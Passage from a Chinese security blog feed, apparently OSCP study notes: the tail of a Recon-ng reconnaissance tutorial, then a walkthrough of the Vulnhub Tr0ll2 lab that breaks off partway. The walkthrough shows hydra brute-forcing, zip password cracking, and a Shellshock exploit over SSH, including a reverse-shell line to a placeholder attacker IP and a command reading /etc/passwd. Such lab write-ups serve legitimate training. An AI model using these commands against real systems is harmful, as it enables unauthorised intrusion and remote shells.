&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; WORDLIST /usr/share/wordlists/subdomains-top1million.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529171229058" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529171229058.png"&gt;&lt;/p&gt;
&lt;h4 id="ip-关联主机发现使用-shodan"&gt;&lt;strong&gt;IP 关联主机发现&lt;/strong&gt;（使用 Shodan）：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/shodan_hostname
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys add shodan_api YOUR_API_KEY &lt;span class="c1"&gt;# 替换为 Shodan API 密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE 192.168.1.1 &lt;span class="c1"&gt;# 设置目标 IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-高级技巧"&gt;&lt;strong&gt;4. 高级技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;批量执行模块&lt;/strong&gt;：
使用 &lt;code&gt;resource&lt;/code&gt; 命令批量运行脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;resource /path/to/script.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;脚本内容示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/hackertarget
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE example.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/whois_pocs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;导出数据&lt;/strong&gt;：
将结果导出为 CSV：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;show contacts &lt;span class="nb"&gt;export&lt;/span&gt; /home/kali/contacts.csv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;show hosts &lt;span class="nb"&gt;export&lt;/span&gt; /home/kali/hosts.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API 密钥管理&lt;/strong&gt;：
添加或查看已配置的 API 密钥：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;keys add shodan_api YOUR_KEY &lt;span class="c1"&gt;# 添加密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys list &lt;span class="c1"&gt;# 列出所有密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="练习exercise"&gt;练习&lt;em&gt;Exercise&lt;/em&gt;
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;(Reporting is not required for this exercise)&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Use the &lt;strong&gt;recon/domains-hosts/google_site_web&lt;/strong&gt; and &lt;strong&gt;recon/hosts-hosts/resolve&lt;/strong&gt; modules to gather information on MegaCorp One.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Take some time to explore other recon-ng modules.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;strong&gt;recon/domains-hosts/google_site_web&lt;/strong&gt; 和 &lt;strong&gt;recon/hosts-hosts/resolve&lt;/strong&gt; 模块收集 &lt;strong&gt;MegaCorp One&lt;/strong&gt; 的信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;探索其他 Recon-ng 模块。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="1-启动-recon-ng-并创建工作区"&gt;&lt;strong&gt;1. 启动 Recon-ng 并创建工作区&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;recon-ng # 启动工具
workspaces create megacorp_one # 创建名为 megacorp_one 的工作区
workspaces load megacorp_one # 加载工作区
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-使用-google_"&gt;&lt;strong&gt;2. 使用 google_site_web 模块发现子域名&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 加载模块
modules load recon/domains-hosts/google_site_web

# 设置目标域名（假设目标域名为 megacorpone.com）
options set SOURCE megacorpone.com

# 执行模块
run
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：
通过 Google 搜索语法 &lt;code&gt;site:megacorpone.com&lt;/code&gt; 查找所有关联子域名（如 &lt;code&gt;dev.megacorpone.com&lt;/code&gt;、&lt;code&gt;api.megacorpone.com&lt;/code&gt; 等），并将结果保存到数据库。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250529173407673" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529173407673.png"&gt;&lt;/p&gt;
&lt;h4 id="3-使用-resolve-模块解析主机名-ip"&gt;&lt;strong&gt;3. 使用 resolve 模块解析主机名 IP&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 加载模块
modules load recon/hosts-hosts/resolve

# 自动从数据库读取上一步发现的子域名，无需手动设置 SOURCE

# 执行模块
run
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：
将发现的子域名解析为 IP 地址（例如 &lt;code&gt;dev.megacorpone.com → 192.168.1.100&lt;/code&gt;），结果存储在 &lt;code&gt;hosts&lt;/code&gt; 表中。&lt;/p&gt;
&lt;h4 id="4-查看收集结果"&gt;&lt;strong&gt;4. 查看收集结果&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;show hosts # 显示所有主机名及其解析的 IP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250529173526053" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529173526053.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 探索其他常用模块&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以下为扩展操作示例，帮助进一步信息收集：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;子域名爆破&lt;/strong&gt;（使用字典爆破）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-hosts/brute_hosts
options set SOURCE megacorpone.com
options set WORDLIST /usr/share/wordlists/subdomains-top1million.txt
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;邮箱枚举&lt;/strong&gt;（需 Hunter.io API 密钥）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-contacts/hunter_io
keys add hunter_api YOUR_API_KEY # 替换为实际 API 密钥
options set SOURCE megacorpone.com
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;端口扫描&lt;/strong&gt;（使用 Bing 搜索引擎发现开放端口）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/hosts-ports/bing_ip
options set SOURCE 192.168.1.100 # 替换为目标 IP
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;WHOIS 查询&lt;/strong&gt;（获取域名注册信息）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-contacts/whois_pocs
options set SOURCE megacorpone.com
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day15 Tr0ll2 靶场WP</title><link>https://ruajingjing.top/post/day15-tr0ll2-%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Tue, 20 May 2025 14:30:15 +0000</pubDate><guid>https://ruajingjing.top/post/day15-tr0ll2-%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day15 Tr0ll2 靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="tr0ll-2"&gt;Tr0ll: 2
&lt;/h2&gt;&lt;p&gt;靶场地址：https://www.vulnhub.com/entry/tr0ll-2,107/&lt;/p&gt;
&lt;h3 id="信息收集"&gt;信息收集
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo arp-scan -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -sV -A -T5 -p- 172.168.169.139
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515162904860" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515162904860.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515163027831" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515163027831.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519221417573" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519221417573.png"&gt;&lt;/p&gt;
&lt;p&gt;检查网页源码发现有注释信息，写着作者是&lt;code&gt;Tr0ll&lt;/code&gt;，用vim编辑的这个网页，我们就能推测，某个功能可能是ssh，可能是ftp的用户名应该有&lt;code&gt;Tr0ll&lt;/code&gt;，之后的收集中要注意找密码。&lt;/p&gt;
&lt;p&gt;打开看到一个滑稽的图片，看到web服务器是apache就想到应该要查一下网页的目录。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://172.168.169.139/ 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515163231860" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515163231860.png"&gt;&lt;/p&gt;
&lt;p&gt;看到有个&lt;code&gt;robots.txt&lt;/code&gt;是机器人爬虫的协议，越不让看什么越要看什么。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515163453360" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515163453360.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519214736014" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519214736014.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519214849054" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519214849054.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519215148809" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519215148809.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519215310469" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519215310469.png"&gt;&lt;/p&gt;
&lt;p&gt;我们把所有目录都翻一遍可以看到出了以上几个目录有图片，其他几个目录都没有东西。这四个目录是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.139/noob/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.139/keep_trying/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.139/dont_bother/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.139/ok_this_is_it/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519215445660" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519215445660.png"&gt;&lt;/p&gt;
&lt;h3 id="图片隐写信息"&gt;图片隐写信息
&lt;/h3&gt;&lt;p&gt;检查网页源代码都没有什么有用信息，那么我们把目光放到图片上来，图片可能又隐写信息。在kali中下载这些图片，kali会自动重命名。可以看到第3次下载的图片大小何其他几个不同。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.139/noob/cat_the_troll.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.139/keep_trying/cat_the_troll.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.139/dont_bother/cat_the_troll.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.139/ok_this_is_it/cat_the_troll.jpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519220557890" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519220557890.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;strings cat_the_troll.jpg.3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519220734925" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519220734925.png"&gt;&lt;/p&gt;
&lt;h3 id="base64解码"&gt;base64解码
&lt;/h3&gt;&lt;p&gt;可以看到第3哥图片比其他几个图片在末尾隐藏了一段话，其中&lt;code&gt;y0ur_self&lt;/code&gt;极有可能是目录。打开看到如下文件，应该是base64加密。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519220919274" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519220919274.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519221237379" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519221237379.png"&gt;&lt;/p&gt;
&lt;p&gt;这个文件很想一个爆破后留下的，推测密码应该在其中，用base64解码后再用hydra爆破尝试一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;base64 -d answer.txt &amp;gt; pass.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hydra -l Tr0ll -P pass.txt 172.168.169.139 ssh -v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;hydra -l Tr0ll -P pass.txt 172.168.169.139 ftp -v 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="默认密码尝试ftp登录"&gt;默认密码尝试ftp登录
&lt;/h3&gt;&lt;p&gt;但是爆破不成功，这个可能是靶机作者给我们的误导，所以我们换个思路，尝试默认弱口令登录。尝试ftp登录后发现提示用户名&lt;code&gt;Tr0ll&lt;/code&gt;，尝试用户名何密码都是这个后成功登录。发现有一个zip文件，下载后查看。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519222748367" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519222748367.png"&gt;&lt;/p&gt;
&lt;h3 id="zip密码爆破"&gt;ZIP密码爆破
&lt;/h3&gt;&lt;p&gt;解压压缩包发现要密码，所以之前的&lt;code&gt;answer.txt&lt;/code&gt;并不是登录密码，而是压缩包的密码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519222920890" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519222920890.png"&gt;&lt;/p&gt;
&lt;p&gt;用一下两个命令都可以爆破压缩包密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;zip2john lmao.zip &amp;gt; lmao.txt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; john --wordlist&lt;span class="o"&gt;=&lt;/span&gt;pass.txt lmao.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;fcrackzip -u -D -p pass.txt lmao.zip 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519223438753" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519223438753.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519223556420" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519223556420.png"&gt;&lt;/p&gt;
&lt;p&gt;解压后似乎是一个密钥文件，有密钥的话我们就可以ssh登录了。&lt;/p&gt;
&lt;h3 id="ssh密钥登录"&gt;SSH密钥登录
&lt;/h3&gt;&lt;p&gt;直接登录时不行的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i noob noob@172.168.169.139
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519223911549" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519223911549.png"&gt;&lt;/p&gt;
&lt;p&gt;用以下命令查看为什么报错&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -vvv -i noob noob@172.168.169.139
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;OpenSSH_9.9p2 Debian-2, OpenSSL 3.5.0 &lt;span class="m"&gt;8&lt;/span&gt; Apr &lt;span class="m"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519224406641" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519224406641.png"&gt;&lt;/p&gt;
&lt;p&gt;可能因为版本太老了，我尝试 &lt;strong&gt;强制客户端使用旧版签名算法&lt;/strong&gt;在 SSH 命令中指定兼容旧服务器的签名算法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i noob noob@172.168.169.139 -o &lt;span class="nv"&gt;PubkeyAcceptedKeyTypes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519224150507" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519224150507.png"&gt;&lt;/p&gt;
&lt;p&gt;也不行。查资料发现可以利用shellcode漏洞。&lt;/p&gt;
&lt;p&gt;CVE-2014-6271 是著名的 &lt;strong&gt;Shellshock&lt;/strong&gt; 漏洞（又称 &amp;ldquo;Bash 破壳漏洞&amp;rdquo;），它影响了广泛使用的 Unix/Linux 系统中的 Bash 解释器。该漏洞允许攻击者通过环境变量注入恶意代码，从而远程执行任意命令。以下是漏洞利用的详细方法：&lt;/p&gt;
&lt;h4 id="ssh强制命令"&gt;&lt;strong&gt;SSH强制命令&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;若目标允许通过SSH公钥认证并配置了强制命令（如 &lt;code&gt;command=&amp;quot;example&amp;quot;&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i id_rsa user@target &lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/攻击者IP/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i noob -o &lt;span class="nv"&gt;PubkeyAcceptedAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa noob@172.168.169.139 &lt;span class="s1"&gt;&amp;#39;() { :;}; cat /etc/passwd&amp;#39;&lt;/span&gt;
